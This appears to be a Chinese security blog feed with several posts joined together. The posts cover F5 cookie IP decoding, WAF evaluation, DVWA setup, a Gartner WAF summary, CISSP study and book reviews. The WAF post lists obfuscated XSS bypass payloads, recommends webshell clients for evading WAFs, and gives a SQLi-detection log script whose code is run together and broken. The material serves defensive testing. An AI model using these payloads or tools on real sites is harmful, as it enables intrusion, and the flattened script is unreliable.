Drozer工具的简介与安装步骤，可通过Google搜索，本文不再赘述。
|
|
|
|
|
|
|
|
|
|
本文既是最近渗透遇到的一点点经验分享。
F5 LTM做负载均衡时，有多种机制实现会话保持。
其中用到很多的一种是通过修改cookie来实现的。
具体说来，F5在获取到客户端第一次请求时，会使用set cookie头，给客户端埋入一个特定的cookie。
比如：
Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000
后续再接到客户端请求时，F5会查看cookie里面的字段，判断应该交给后续哪台服务器。
作为传统大厂，F5当然不会傻到直接把服务器IP address写入到cookie里面。
F5很巧妙的把server的真实IP address做了两次编码，然后再插入cookie。
所以，只要依据解码流畅，解开487098378.24095.0000的内容，就拿到了server的真实IP address。
首先，把第一小节的十进制数取出来，也即，487098378
第二，将其转为十六进制数1d08880a
第三，从后至前，以此取四位数出来，也即，0a；88；08；1d；
第四，依次把他们转为十进制数：10；136；8；29
最后，得到真实内网IP：10.136.8.29
严格意义上说，只有内网的私有IP，对正面突破目标防线的帮助并不明显。
但是，当需要做内网渗透和漫游的时候，这一点信息还是有价值的。
再不济，写report的时候，如果实在没的可写的时候，还可以拿这点作为一个issue作为丰富report的素材。
关于渗透测试，个人理解，由于测试目的不同，测试方法的选择也会略有差异。
有时客户需要渗透测试团队拿到服务器最高权限、或者，以拿到服务器上的敏感数据为目标，服务器数量越多越好，敏感数据拿到越多越好。
借由此证明安全防护尚有改善空间。
这时渗透团队需要尽可能快、尽可能多的找到突破口，并提权。
有些无法提权或者进一步利用的中低危漏洞，就不需要考虑太多了。
有时客户需要渗透测试团队综合评价待测试目标的安全健壮程度，并给出改善方案。
此类渗透测试更多的是为了后续改善加固做铺垫。
要求漏洞越多越好，越全面越好。
反倒是一些风险承受能力较低的客户，会提出要求，尽可能不要exploit漏洞，点到为止即可。
这份checklist更偏向于第二类渗透测试，内容比较全面，参考价值较高。
总得来说，互联网企业和传统行业企业在安全建设的思路上，殊途同归。
为了应对一大一高两个海量，传统安全企业的解决方案存在先天不足：无法无缝横向扩展。
这就导致了互联网企业更多的选择自研防护手段。
互联网企业对安全防护手段的要求是，低维护成本+高扩展性。而传统企业呢，更看重的是易配置+防护全面。
综上，虽然业态不同，但核心思想还是相通的。
另外，作者赵老师在书中提到，传统企业迫于提高生产力、提高效率的压力，业态向互联网转化的速度会越来越快。
所以，互联网企业在线上业务安全防御方面的经验，领先传统企业十年，此言不虚。
安全的本质始终没有变，就看在不同环境下怎么玩的踏实，怎么玩出精彩。
与君共勉。
为了帮助记忆和理解，我基本上每章都用思维导图的方式整理了笔记。
这些笔记并非对全书的完整总结，亦非斗胆点评，仅作为个人理解和梳理思路的笔记之用。
这是2016我在豆瓣标注过读书的记录，全年读书总量比上一年度多了三本，不包含为了准备CISSP考试看过的辅导书和教材。
读书速度平均比上一年度提高了1天。
今年因为有了Kindle，读了很多电子书，买书其实比以前要少。也因为Kindle，可以利用通勤等碎片时间阅读。
今年读过的书，还是分三类：信息安全、小说、社科历史。
信息安全方面，今年看的最多的还是CISSP的教材。AIO、CBK等几本大部头英文原著都啃下来了。
有了这个经历，现在看英文网站资料已经不怎么费劲了。
另外，完整读完了《SQL注入攻击与防御第二版》，系统的总结了SQLi的攻击技巧，感觉收获还是非常大。
今年读了9本小说，重点推荐3本。
这本书讲述的是一战前后欧洲各国的历史故事。把几家贵族的兴衰融入了大历史背景中，故事的主人公们和历史真实人物一同经历了历史大事件。
这种写法让我想起来《阿甘正传》。
比如，当你站在英国伯爵的背后，面对工人罢工，不自觉的会升起愤怒。
当你站在独立抗争的女管家的背后，面对贵族的歧视、社会的不公，你又会坚定的支持妇女平权。
这本书给我最大的触动是，站在不同阶级的不同立场看世界，得到的结论与判断会迥然不同。
这种阅读体验非常棒。
电影只翻拍了全书不到三分之一的内容。作者从晚清一直写到了解放后，时间跨度虽大，但读起来并不累。
每个人物的兴衰荣辱，都透出一股子悲天悯人的情怀。历史也不会轻易地放过一个人、一个家。
当你站在历史的分岔路口，每一个看似正确无比的抉择，有可能就是自己在脖子上套上了一条绞索，只等着别人打开你脚下翻板的一瞬。
所以，在政治和历史的旋涡中，我们真的能把握自己的命运么？
电影翻拍的内容同样只占全书很小的一部分。和白鹿原一样，只不过这本书的视角放在了旧上海的一个家族身上。
一位留学归来的高级知识分子，最后被历史一刀一刀的割成了“结巴的老几”。这种伤感由不得你不动容。
爱情这种似有实无的东西，反倒成了支撑主人公活下去的理由。
同样重点推荐三本
这是演讲的文字记录，所以门槛低，不需要太多的前置知识。
从这本书读到的近代史观，和教科书迥然不同，又非完全对立矛盾，非常适合入门。
作者是正统历史研究者，其中一个头衔是“奉系军阀史研究会副会长”，所以他手里有很多一手历史素材。
这本书重点看记述的历史事件，资料非常详细。
但历史观就不用太当真了，凡是结论性的文字，建议跳过，毕竟作者是体制内。
沧桑巨变的三十年，很多事情自己在亲历，却不以为然。透过这本书，试着理解自己的生活，和那段年代。
理解当下有中国特色的市场经济体制，必须要了解计划经济是怎么一步步搞活和开放成了现在的样子。
总的说来，2016年完成了自己的目标，顺利拿到了CISSP证书，顺利换了工作。陪家人和孩子的时间多了很多，我很欣慰。
希望2017年，技术积累更扎实一些。书架上买回来还没看的书更少一点。
祝各位新年快乐！
]]>关注的比较多，我现在每天中午会花半小时浏览所有更新内容，把感兴趣的存在pocket里面，晚上临睡前集中读完。不然时间都碎片化了，效率太低。
也希望读者可以在评论里贡献你关注的高质量账户。
WAF上线之后，处理最多的是误报消除。
产生误报有多种原因，比如web应用源码编写时允许客户端提交过多的cookie；比如单个参数提交的数值太大。
把误报降低到了可接受的范围后，还要关注漏报。WAF不是神，任何WAF都可能被绕过。所以还需要定位漏过的攻击，明确漏报的原因，才能update WAF的策略。
要定位漏报，就必须分析Web应用的访问日志了。一个站点，每天产生的access日志大概接近1GB，显然靠肉眼看是不现实的。这就需要用python帮助自动分析。
拿我司某Web系统举例：
要分析这些散碎的日志文件，我的思路如下：
代码如下：1234567891011121314151617181920212223242526272829303132333435363738394041424344454647# -*-coding: utf-8 -*-import os,re,sysif len(sys.argv) != 2 : print 'Usage : python logaudit.py <path>' sys.exit()logpath = sys.argv[1]#获取输入参数的文件路径'merge = re.compile(r'.*(\d[10])')for root , dirs , files in os.walk(logpath): for line in files: #遍历日志文件夹，合并所有内容到一个文件 pipei = merge.match(line) if pipei != None: tmppath = root + '\\' +line logread1 = open(tmppath,'r') logread = logread1.read() log2txt = open('.\\log.txt','a') log2txt.write(logread) log2txt.close() logread1.close() else: exitlog = open('.//log.txt','r')logread = log.readlines()auditString = re.compile(r'.*[^_][sS][eE][lL][eE][cC][tT][^.].*|.*[uU][nN][iI][Oo][nN].*|.*[bB][aA][sS][eE][^.].*|.*[oO][gG][nN][lL].*|.*[eE][vV][aA][lL][(].*|.*[eE][xX][cC][uU][tT][eE].*')writelog = open('.//result.txt','a')for lines in logread: auditResult = auditString.match(lines) if auditResult != None: writelog.write(auditResult.group()) writelog.write('\n') else: exitwritelog.close()log.close()
0X04 后续
WAF上线后的运维工作，除了消除误报解决漏报以外，还有其他更多的分析工作。这方面的内容，我会整理出来，下次单独成文分享。
文件上传防御难免百密一疏，普通的webshell上传后，攻击者必然要通过与webshell通信，开展后续渗透。WAF必须有能力识别通信内容，并及时阻断。很多webshell的通信内容是经过base64编码的，WAF必须具备解码后准确分析的能力。
测试方法很简单，在服务器上放好测试的webshell，客户端通过WAF后访问webshell，执行重要的操作，如：dir、ls、net user等系统命令；连接操作数据库；上传下载文件等。
这项测试需要收集大量常用webshell，用于覆盖常见webshell的识别。Github上有一个项目收集了各种格式的webshell，妈妈再也不担心我找不到shell啦。
Github webshell collect
如果服务器安装有杀毒软件，常见webshell是可以被查杀的。大马能拦住，小马当然也不能放过。一句话木马可是杀软无力识别的。
防御一句话，其实防御的是菜刀以及各种版本的菜刀与一句话的通信。
这里要重点说两款工具：
- cknife：[项目地址](https://github.com/Chora10/Cknife)，这把刀可以自定义各种通信方式和php执行函数用于绕过waf检测。实际测试下来，的确很多家waf的默认策略对自定义模式拦截无力。
- antSword：[项目地址](https://github.com/antoor/antSword/releases)，修改版的菜刀，也很好用。
暴力破解
WAF必须具备识别工具自动爆破密码的能力，其实判断的原理不难，分析请求某个文件的某几个参数的频率即可。用BurpSuite测一测就知道。在WAF上需要手工配置防爆破的策略，指明请求的URI、用户需要输入的参数名、访问阈值条件。
F5 ASM在判断暴力破解行为时，会判断会话有效性，造成这里有个bug，使用burpsuite爆密码时ASM根本拦不住。开了售前ticket查了半天，联系研发才闹明白是判断机制设计所致，自然也就无法修改了。
机器访问
为了防止薅羊毛，WAF必须具备能力，根据用户自定义的URI、参数名、源IP/目的IP、目的URL等条件，拦截超出正常频率的机器访问行为。
这项测试非常考验设备的自定义程度，而Imperva在自定义策略的灵活性上，遥遥领先其他友商，无愧于Gartner第一象限的位置。自定义程度越高，策略越灵活，防御效果越好，对甲方工程师的技术要求也就越高。很多传统行业的甲方工程师由于不熟悉攻防，对HTTP没研究那么深，自定义策略反而成了工作的负担。在和Imperva工程师交流时多次看到其他同行发来的邮件，询问某某场景下实现某功能，应该如何配置。我觉得如果不懂HTTP，WAF干脆就不要玩了，纯粹是给自己找负担。从白帽子的角度来说，目标网站有WAF不可怕，渗透还是要坚持的，万一对方不懂HTTP呢。
指定参数拦截
在post表单中，安全基线要求代码必须判断用户输入内容是否合理。比如，手机号一项，必须提交13/15/17/18开头的11位纯数字。如果编码时实现该需求，一行正则匹配就搞定。但是你不能保证每个程序猿都是勤奋的。所以，用WAF帮助站点实现该需求是必备功能要求。
WAF必须具备识别制定URI的指定参数，提交的数据格式。这一项也是将各厂家区分开的重要指标。
命令注入
WAF还必须具备识别命令注入攻击的能力，这一项DVWA是提供了测试功能的。之所以重点拿出来说，是因为Imperva、F5 ASM在这里都存在明显的疏漏。常见系统命令，这两家的WAF都不能在默认策略下准确识别。这一点我很奇怪，明明特征库里是有这一类特征的，可为何检出率如此低？
WAF除了要保护目标网站的安全性之外，自身的安全性也不可或缺。别不信，FortiWeb的5.5.3版本就存在CSRF漏洞。国产主流的漏洞扫描产品，除了绿盟也都存在CSRF漏洞。
另外，要使用NMAP等各种工具扫描设备开放的端口，看看有没有什么服务存在已知漏洞。
第三，设备登录入口必须支持连续登录失败X次后拦截登录请求的功能，防止被爆破。
第四，设备web端会使用类似jQuery等库，而第三方库是有各种已知漏洞的，查到CVE后逐个验证下漏洞是否存在。
第四，开个WVS扫一扫页面吧，看看有没有什么明显的漏洞。
商业WAF相比自研WAF，最大的优势在于自学习功能。商业WAF拥有多项专利技术，可以根据web应用的访问行为和流量，自动学习用户正常访问行为特征，据此建立防御策略。Imperva在这方面技术领先很多，专利也最多。如果用好了自学习功能，WAF的漏过能够很大程度上的改善。
但是，凡事没有绝对。WAF的自学习功能最大的困扰是误报。Web应用的功能非常复杂，请求方式千奇百怪，机器学习算法再精妙，也不可能百分百还原所有用户正常行为。一旦误判，大量的误报拦截会让管理员叫苦不迭。
实际测试下来，个人感觉自学习功能更多时候是厂商拿来做宣传的噱头和控标的一个指标项，但是实际在生产环境中使用它，最好还是慎之又慎，就连厂商工程师都不建议使用，你敢给领导打保票背这个雷吗？
但是自学习功能并非是聋子的耳朵–摆设。自学习最大的用处其实是分析用户行为的工具。用这个功能连续监控一个月之后，哪个URL被访问次数最多，用户的请求方法与行为是什么，可以通过自动报告一览无余。有了这个报告，后续在做Web应用调优、访客行为分析、判断误报等方面还是很有用的。
除了上述各种手工测试项目，还可以使用第三方开源工具测试WAF的拦截能力。这里推荐两个工具。
第一：碳基体的测试工具：项目地址
这款工具是用perl写的，在t文件夹下已经写好了很多测试脚本，这些脚本可以把攻击payload放在http协议的各个字段提交，用于测试WAF在不同http参数的识别能力。具体用法不多说了，碳基体写的非常清楚。
这里想说两点：
第二：Ironbee项目：项目地址
Ironbee是一款开源waf，这个项目是测试拦截率的攻击，也是用perl写的。同样的，baseline-detection目录下的脚本，也不是默认策略可以百分百识别的。
WAF除了要满足低误报低漏报，还必须人性化易管理。下面的几个功能点，是从管理员角度出发测试的内容。
除了最常见攻击手法的防御以外，WAF还应该具备识别变形的Payload的能力。
目前国内外商业WAF可以识别99%以上的常规攻击手段，区别主要就体现在对各类编码后的变形Payload的分析能力上。
这里面又区分成了两大类思路。
WAF抓取到HTTP包后，做多重解码，将每重解码的结果提取正则，与特征库进行匹配。各家能解码的层数会有区别。F5的ASM可以支持最多5层并且允许用户手工设定层数。其他家虽不可指定解码层数，但都具备相应能力。
考虑到正则匹配容易误报漏报，有厂家放弃了这种分析模式，转而做语义分析。长亭科技的SqlChop就是如此，详情可阅读：SQLChop - 一个新型 SQL 注入检测引擎
在测试中，需要手工对payload做编码变形。详细说来：
XSS变形最多，WAF漏报也是最严重的。谁让HTML可利用的标签那么多呢。
这一块的测试，有赖于测试者平时收集各类XSS payload 的量。我仅列出一部分常见的以供参考：12345678<embed/src=//goo.gl/nlX0P><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="><a onmouseover="javascript:window.onerror=alert;throw 1><svg><script>varmyvar="YourInput";</script></svg><s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t><script>//@cc_on!alert(1)/*@cc_on~alert(2)@*/</script><marquee/onstart=confirm(2)>/<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>XSS
|
|
文件上传绕过主要考虑几个方面：
###0X03 扫描器防御能力
WAF应具备根据数据包特征识别扫描器的能力，并加以阻止。常见的扫描器，如WVS、SQLMAP、Netsparker、havij、Appscan都应该拿来实际测试WAF的反应。
需要说明的一点是，WAF不仅要拦截扫描器发来的数据包，还应在日志中注明，攻击者使用何种扫描器。这对运维人员分析日志很有帮助。
例如，实际测试中，Imperva对SQLMAP和Netsparker都可以准确识别。而F5的ASM则可以准确识别WVS和SQLMAP。FortiWeb则不具备这个能力。
剩下几个章节，将讨论以下内容：
上述思路其实四大顾问曾经带着我们做过一轮，华为的确是把这套方法论完整落地执行，并且看到了产出物与收益的。这一点的确要佩服华为安全部。
务虚的东西看似美好而遥不可及，但真正落地执行了才知道其中的艰难辛苦。
2016年9月2日，北京。
在经历了5小时30分钟的煎熬后，我在一台电脑上点击了“结束考试”的按钮，走出狭小的考试房。两位年轻的监考老师开始在她们的电脑上操作，一位起身去了打印机旁边，另一位告诉我可以收拾东西了，回去等邮箱里面的邮件通知吧。根据考友们的信息，一般通过考试的才会收到ISC2的邮件通知的，考试失败的会当场给一份成绩说明。果然，监考老师把打印好的成绩单递给了我，一句简单的“恭喜啊”让我悬着的心落地了。随之而来的好像没有预想中的兴奋，只是一种放松。
在努力了8个月之后，我终于通过了CISSP的考试。
记录一些经验，分享给仍然奋战在CISSP备考道路上的各位安全同行们。
CISSP认证的简介，网上一大堆。我只多说以下几点：
目前使用人数比较多的CISSP备考教材有以下几本，我逐个分析优劣。
建议以CBK为主，AIO为辅。CBK的英文看不懂的时候，翻翻AIO的翻译帮助理解记忆。
市面上现在找不到真题题库，只有各类模拟题。首推CBK课后的练习题，这些对加深记忆非常有用。另外，AIO随书光盘还有一千多道题，我到临考前都没做完。这些题考基础概念比较多，但实际考试中直来直去问概念的题非常少。所以这些题只能帮助你理解概念。
总之，不要期望你做过的模拟题会真的出现在考场上，理解本质最重要。
当你做AIO的题能达到80%的正确率的时候，是时候准备约考试啦！
辅导班有用吗？我的经验是，辅导班最大的作用是帮助你梳理知识脉络，以过来人的角度告诉你哪些点可能考的比较多，哪些点出现在考试中的几率非常小。所以，别听他们吹嘘什么通过率90%+，但他们真的可以帮你节省复习时间。
有人说，拿到了CISSP以后年薪可以上浮XX%。我觉得这是辅导班的宣传策略。有人说CISSP不考具体攻防技术，证书没用。我觉得这是唯技术论的一家之言。
备考这八个月，至少帮我梳理了一遍安全所有领域的知识点，扩宽了我的知识面。重新架构了对安全的全面理解，这是最重要的。
实现了2016年的第一个目标，心情还是很愉快的。
最后，住所有备考CISSP的同行们早日通过！
]]>我用下面一个简单的表格，把相关内容汇总在一起做比较，希望能彻底搞清楚，记牢靠。
难免有不准确的地方，希望看到的高人、前辈多多指点。
WebGoat部署最简单，批处理运行一下就可以用了。这里说一点。有时候希望把搭建好的WebGoat提供给内网更多的用户访问，默认情况下只能本机用localhost使用，这就需要修改tomcat的配置。
在WebGoat目录下找到tomcat文件夹，找server_80.xml，里面有一行：
Connector address=”127.0.0.1” port=”80” maxHttpHeaderSize=”8192”
把其中的adress=“127.0.0.1”删掉，保存，然后重启tomcat即可。
这一句的意思是，默认情况下只允许本机环回地址127.0.0.1连接使用。
DVWA部署也不复杂，下载XAMPP装好，注意给mysql设置好root密码。能访问phpmyadmin，就说明一切正常了。
把DVWA解压缩到xampp的htdocs文件夹下即可。
dvwa默认有五个用户：
admin/password
gordonb/abc123
1337/charley
pablo/letmein
smithy/password
另外，如果之前已经部署了WebGoat，80端口被占用，DVWA就起不起来了。
.\xampp\apache\conf\httpd.conf 打开配置文件，把Listen 80 改成其他自定义的端口即可。
没什么含金量，就是给自己留个笔记。
]]>—————————分割线————————————–
waf市场被用户需求驱动，用户需要保护内部和公开的web应用，在web应用本地部署或者远程部署。waf部署在web服务器前面用来保护web应用，对抗内外部攻击者。也可以部署为镜像模式，收集访问日志用于合规审计和分析。waf常见的部署方式是以反向代理的方式串联在网络，因为在历史上这是唯一可以做深度检查的方式。现在，其他部署方式也存在了，比如透明代理、桥模式，或者把waf部署在旁路（带外管理或者镜像模式）。
waf最大的优势是保护企业的web应用免遭由自身代码漏洞造成的缺陷。第二，waf可以与其他应用安全和网络安全技术相集成，比如和应用安全测试（AST）、抗DDOS攻击、web诈骗检测、数据库安全。除此之外，waf有时还包含应用交付功能，包括内容缓存。当waf包含web访问管理模块时，还可以包含身份认证管理特性，比如实现单点登录或web应用分发。
在这个魔力象限中，供应商必须是面向终端用户的waf市场供应者。技术必须包含特定针对web安全保护，超过使用特征匹配的下一代防火墙和ips。waf产品应该支持单一或多台web服务器部署方式。这个魔力象限包含的waf，都是部署在webserver前端的设备，不是webserver插件的方式。包含：
-物理部署设备，虚拟机形态或者软件形态
-waf必须深入应用层控制
-云服务或虚拟化支持，以IaaS平台形式
waf与其他企业安全技术–比如应用安全测试、数据库镜像、SIEM–相集成的能力经常是企业市场中的强劲存在。像ADCs或抗DDoS云服务这类技术，巩固了waf并带来了特殊收益，但是市场还是首先关注客户的web安全需求。尤其重要的是：
-对已知与未知威胁的最大限度的检测和拦截率
-最小的误报率，不影响web应用的连续服务
-高易用性
特别的，Gartner仔细检查了这些特性和创新保护能力，超出下一代防火墙和ips，开源waf比如modsecurity和ironbee。
供应商优劣势分析
梭子鱼
位于加州Campbell市，梭子鱼提供多种信息安全产品。梭子鱼的WAF有三种主要的特性：10种应用模式（5种核心模式，每种包含两个版本）最高可达4Gbps吞吐；可虚拟化；可部署在微软Azure、AWS、vCloud等云计算平台。
过去几个月中，梭子鱼完成支持JSON检测，URL编码，SAML2.0并升级了WAF的管理控制台。
梭子鱼被评价为挑战者，因为产品价格实惠，且效果良好。
优势
梭子鱼的管理界面提供多种不通语言，包括很多种欧洲语言，并且还有普通话、广东话、日语、韩语。这是其他供应商不具备的优势
劣势
Gartner研究发现梭子鱼的管理界面易用性较差。梭子鱼WAF的管理界面升级到V7.9之后，我们还没有收到客户反馈。
安恒
安恒，总部位于中国杭州，为web安全和数据库安全提供解决方案。2007年第一款WAF产品发布。同时提供web应用和数据库漏洞扫描，和一款数据库审计平台。
在2014年，安恒升级了硬件产品线，发布了四个模型，发布了WAF v4.0
安恒被评为“特定领域者”，因为安恒只在中国范围内面向中端市场出售WAF解决方案。
在中国，安恒是中小企业，小型金融和政府部门的不错候选品牌。
优势
安恒的waf可以和供应商的漏洞扫描、数据库安全产品相联动。
劣势
安恒的WAF在以下几个领域落后于竞争对手：基于角色的管理、详细的活动报告、身份认证管理。客户提到管理功能和报告功能还需要提升。
F5
总部位于西雅图的F5是一家聚焦在应用交付领域的基础设施供应商。WAF是作为F5的big-ip应用交付平台的一个软件模块存在的，叫做ASM。经常作为F5的最佳实践组合包的一部分出售。F5其他安全模块包含网络防火墙AFM，接入策略管理APM、以及最近的Web安全网关服务和Web安全网络欺诈保护服务。WAF也在虚拟化版本的big-ip上可以部署使用。WAF是以授权控制的。
2014年，F5发布了一些新的WAf模块，提供了新的提醒，包含抗ddos服务。2015年上半年，还提供了云计算版本的waf服务。
F5被评为”挑战者“。当F5试着移动到”领导者“象限时取得了非常有限的成功。这是一家不错的候选供应商，尤其是对那些看重攻击识别的且已经拥有或正在考虑应用交付设备的大型组织来说。
优势
作为应用交付的领导级供应商，F5拥有大量保有客户，并利用应用交付销售机会作为WAF产品的销售切入点。对已经购买F5的客户，在已有的安全平台上添加一个WAF模块是容易的。
劣势
用户报告初始化配置和策略设定方面难度很大。在设备重启后，历史报告和自动策略很难维持原状。一些Gartner客户评论说ASM WAF还是很有挑战性的。
Fortinet
坐落于加州森尼维尔市的飞塔公司，是一家重要的网络安全厂商。2000年，飞塔作为UTM供应商出现。稍后就扩展了自己的产品线，包含了更多的安全产品，比如WAF（Fortiweb，发布于2008年），应用交付（FortiADC），数据库保护平台。这家公司以其飞塔安全网关而著名，这也是他最有活力的产品线。
飞塔提供了多种产品形态，比如物理形态，或虚拟化形态。都可以部署在反向代理、透明代理，旁路模式。还可以部署在AWS上。功能上包含有ip信誉，反病毒和安全特征升级。
在过去的一年半里，飞塔发布了四次升级（v5.1到v5.4），为知名的web应用添加了模板，支持完全正向保密，支持与SIEM集成。公司还发布了一款入门级产品，FortiWeb 100D，并且还刷新了高端产品序列。
飞塔被评为”特定领域者“，尽管公司有强大的渠道，但是他们的waf解决方案并没有取得商业市场的成功。公司现有的客户和中小组织应该被飞塔认为是潜在客户。
优势
飞塔还有一系列不错的特性，比如自动学习模式，ip信誉，cookie标记，SSL加速，web应用缓存，机器人识别。
劣势
相较于安全网关，waf只是飞塔的二级产品，渠道销售的积极程度并不高。Gartner认为，本地技术技能可用性比那些与网络防火墙要可怕。
Imperva
英普华位于加州，拥有很长的WAF产品线。其他产品聚焦在数据安全，例如数据库审计、数据库防火墙，文件监控，应用层DDOS防护，云计算保护。还有两个包用于安全监控和管理。
早期英普华产品以透明桥方式部署。这与企业保持一致，因为这种部署方式更容易被应用在应用交付产品之后，而不引入第二级代理，而且产品测试时更容易。其他竞争对手被收购或消失，英普华在这个领域持续增长。
英普华Incapsula是基于云计算的waf，被集成在其他服务中，比如DDOS防护。ThreatRadar是附加订阅服务，包含四种功能：信誉库，反僵尸，反欺诈，社区防御。以虚拟化应用的形式可以在AWS上部署waf，七层流量高达10Gbps。物理形态和虚拟化形态都可提供专用管理。
Gartner看到英普华WAF很棒的攻击检出率，厂商还提供了良好的第三方生态系统，包含DLP，反欺诈，SIEM和漏洞扫描。
英普华被评为”领导者“，他们的安全特性和创新处于领先水平，价格方面与竞争对手不相上下。英普华对于各个级别的组织都是非常好的候选厂商，尤其是高安全级别要求的客户，或者寻找易部署、基于云的waf的客户。
优势
英普华本地部署的waf，在客户的评价非常好，因此也在以此对抗云端waf。
劣势
作为优质商业产品，英普华通常对于中小客户和部署waf只为应对合规检查的项目来说太高端了。而价格是客户选择其他waf解决方案的主要原因。当有应用交付类厂商参与竞争时，这一点尤其如此。
绿盟科技
绿盟是一家中国北京的公司，起步于2000年，最早提供抗DDOS解决方案。后来延伸了产品线，包含IPS，漏洞扫描。waf最早发布于2007年。可以物理设备或虚拟化版本交付，可部署为反向代理、透明代理模式，支持带外管理。绿盟同时提供了一套集中管理软件，用于管理waf产品。
供应商最近宣布支持IPv6，并发布面向中端市场的高端waf产品。
绿盟被评为“特定领域者”，他们市场聚焦在亚太地区。对于中国的大中小型客户，和已购买绿盟产品的客户来说，这是一家不错的备选供应商。
优势
waf可以和她们家自己的漏洞扫描产品集成。
劣势
在中国以外区域，绿盟知名度较低。他的国际渠道的技术投资仍旧落后于其他产品。这也限制了当地技术能力的支持。
Radware
radware是一家以色列特拉维夫的公司，主要提供应用交付和安全产品。他们的安全产品包含混合型DDOS防护工具（DefensePro），ddos保护虚拟设备（DefenseFlow），ddos保护管理服务（DefensePipe）和waf。产品可以单独购买，也可以与AMS集成在一起。他们的waf发布与2010年。可以物理设备或虚拟机形态提供。产品可以集中管理，监控与报告解决方案。
自从2014年，radware并没有为waf发布新的型号。他们提供更新的服务，包括基于云的全面管理和WAF的内部部署全面管理WAF服务。同时提供waf的带外管理部署方式。
Gartner评价radware为“特定领域者”，因为他们尽管最近很努力，仍然是服务于大中型企业客户。
优势
在过去三年中，他们坚持自己的路线图在反战，相比这一象限其他供应商来说，他们展示了坚定的承诺与执行力。
劣势
不能与第三方漏洞扫描和数据库安全解决方案相集成。
——————-分割线—————
最后附上报告英文原文：点击下载
]]>今年因为家庭，因为工作，拖到现在才盘点，也是真有点说不过去。还是回顾自己在过去一年读过的书吧，算是画个句号。
这是在http://readingtaste.com/ 统计出，我使用豆瓣标记的读书记录。猛一看，自己都有点吃惊。没想到阅读速度会这么快，而这个阅读总量也是历年最大了。后来仔细想了想，这里是有出入的。2014年底读的6本书，我是在2015年1月份才在豆瓣上标记和评论的，也被包含在内了。准确数字应该是23本。比去年多了一本。略微有进步。
今年读书不仅限于纸质书，也开始在移动端看电子书了。最开始是用豆瓣阅读看看知乎周报一类的杂志，后来开始用京东阅读app看电子书。京东阅读有一个很赞的功能，畅读。每个月花上5元钱，书城的各类书都可以随意看，但是不能下载和保存。其实相当于花5元钱去京东的图书馆里借阅的意思。这样就不用担心买回来的书不喜欢了。看过一遍之后，确实喜欢，才去买一本实体书读第二遍、第三遍，吸收的内容也更充分。通过这个app，我看完了《打造Facebook》、《文武北洋》、《台湾往事》。这些还不算在总的阅读记录里。
选几本五星推荐的书列出来吧。
1.《茶之路》 ☆☆☆☆☆
这本书沿着一年茶叶制作的路线，跑遍了中国几乎全部茶叶产区，历数了绿、白、黄、青、红、黑六大茶类各个代表茶叶的种植、采摘、制作工艺和品评特点。穿插了种茶人和制茶人的故事。所以不要以为这是一本专业著作，其实一点都不枯燥，知识性非常强，干货满满，读起来还非常轻松愉快。
我一向认为，喜欢一样东西，无论是喝茶还是玩手串，都要搞明白搞细致搞透彻了，这才是真正的玩。泛泛的“好喝、好听、好看”，那个层次未免太浅了。这本书就是一本爱茶人的必备宝典。
2.《美国宪政历程– 影响美国的25个司法大案》☆☆☆☆☆
在网上经常看到有人推荐有关美国政治的书，都会推荐林达的《近距离看美国》系列，或者刘瑜的《民主的细节》，但这本大部头很少有人提及。幸运的是，我先看了这本书，才又看了那两本。什么感觉？有一种“这事儿我都知道了，能不能聊点新鲜的”感觉。
《美国宪政历程》，几乎是把美国宪法历史上的重大修正的来龙去脉说的非常清楚了。透过这些案子和过程，你就能很清楚的明白为什么美国的政体是那样的。三权分立究竟是怎么玩的，自由与民主发生碰撞时老美是怎么机智的处理，百姓选举是怎么自下而上维持政府运转的。那两本算是通俗读物吧，能让你知其然。而这本书，更可以让你知其所以然。
3.《最近四十年中国社会思潮》☆☆☆☆
看完一大圈别人家的事儿，也得回过头看看自家。什么是民粹，什么是毛左，什么是新儒家。为什么政府不待见毛左。这些问题曾经困扰我很久。看完这本书，问题基本上有了答案。作者把改革开放以来，社会上最常见的八种思潮依次做了分析。当然，作者是坚定的邓派理论支持者，不然也不会给出版。所以难免在讨论新旧左派、自由派时，会有一些情绪上的倾向性。这也是我扣掉一颗星评价的原因。
我的体会是，只有知道了那个群体的核心诉求是什么，以及这种思想诉求的来源，才能有效率的和对方沟通。除了新儒家以外，我觉得每一种思潮都有可取之处，都不能一概而论的说，这是错误的，这是不好的。
唯一的困惑是，我曾以为自己是自由主义的支持者，看完书之后反而有了一些怀疑。自由主义太过于强调削弱政府作用，会不会形成马太效应？会不会不够公平？
4.《最后的耍猴人》☆☆☆☆
这本书不多评价了，作者把自己看到的、听到的有关耍猴艺人这个群体的故事，全部用文字和大量照片记录下来了，翻开这本书，你就可以接近那个即将消失的群体，了解和触摸他们曾经的生活。
技术类的书籍，2015年看的不太多，读完的有《图解HTTP》、《Wireshark网络分析就这么简单》。还有两本看了一半的，惭愧惭愧。为了应付考试还看了两本教材，但这不算阅读，不计算在内。
宗教类今年看的也不多，只详细看完了《掌中解脱》这两本。这一年可能是最不精进的一年了，因此心灵上的痛苦也是最多的一年。
2016年已经过去了9天，相信这将是不平凡的一年。几个心愿，开列一下，年底来回顾。
1.已经在看CISSP AIO第六版了 ，希望今年可以通过这个考试。
2.Linux、Mysql、Python我同时在各看一本书自学，希望今年能在这三个领域有点收获。
3.今年会有一个项目做，希望顺利做完，别出幺蛾子。
]]>作为华人在硅谷创业成立的安全公司，NetScreen是第一家，也是具有丰碑意义的一家。
至今国内做安全网关设备厂家的研发团队里，都还能看到出自当年那个叱咤风云的NetScreen团队的精英。
下载：传送门
原文：传送门
以此作为2015年博客的最后一篇纪念吧。
预祝各位2016年步步高升！
]]>每隔几天都会看一看边界安全设备的日志，看看都拦下来哪些攻击，有没有漏掉的。10月12号起，拦截了不少利用BASH ShellShock漏洞的攻击数据。攻击源地址几乎遍布全球，攻击目的地址覆盖了公司公布在互联网的所有业务系统，而且发起的时间没有什么规律。唯一显著的特点是，攻击者在短时间内发起攻击的次数比较多，可以判断肯定不是手工操作的。于是，从攻击频率入手分析，兴许能发现点什么。
我把所有这个类型的攻击日志按源地址分组后，再按发起时间做了排序，果然发现一个规律。每个攻击IP发起每轮攻击，基本上都以31次为固定频率，每轮平均耗时15秒。
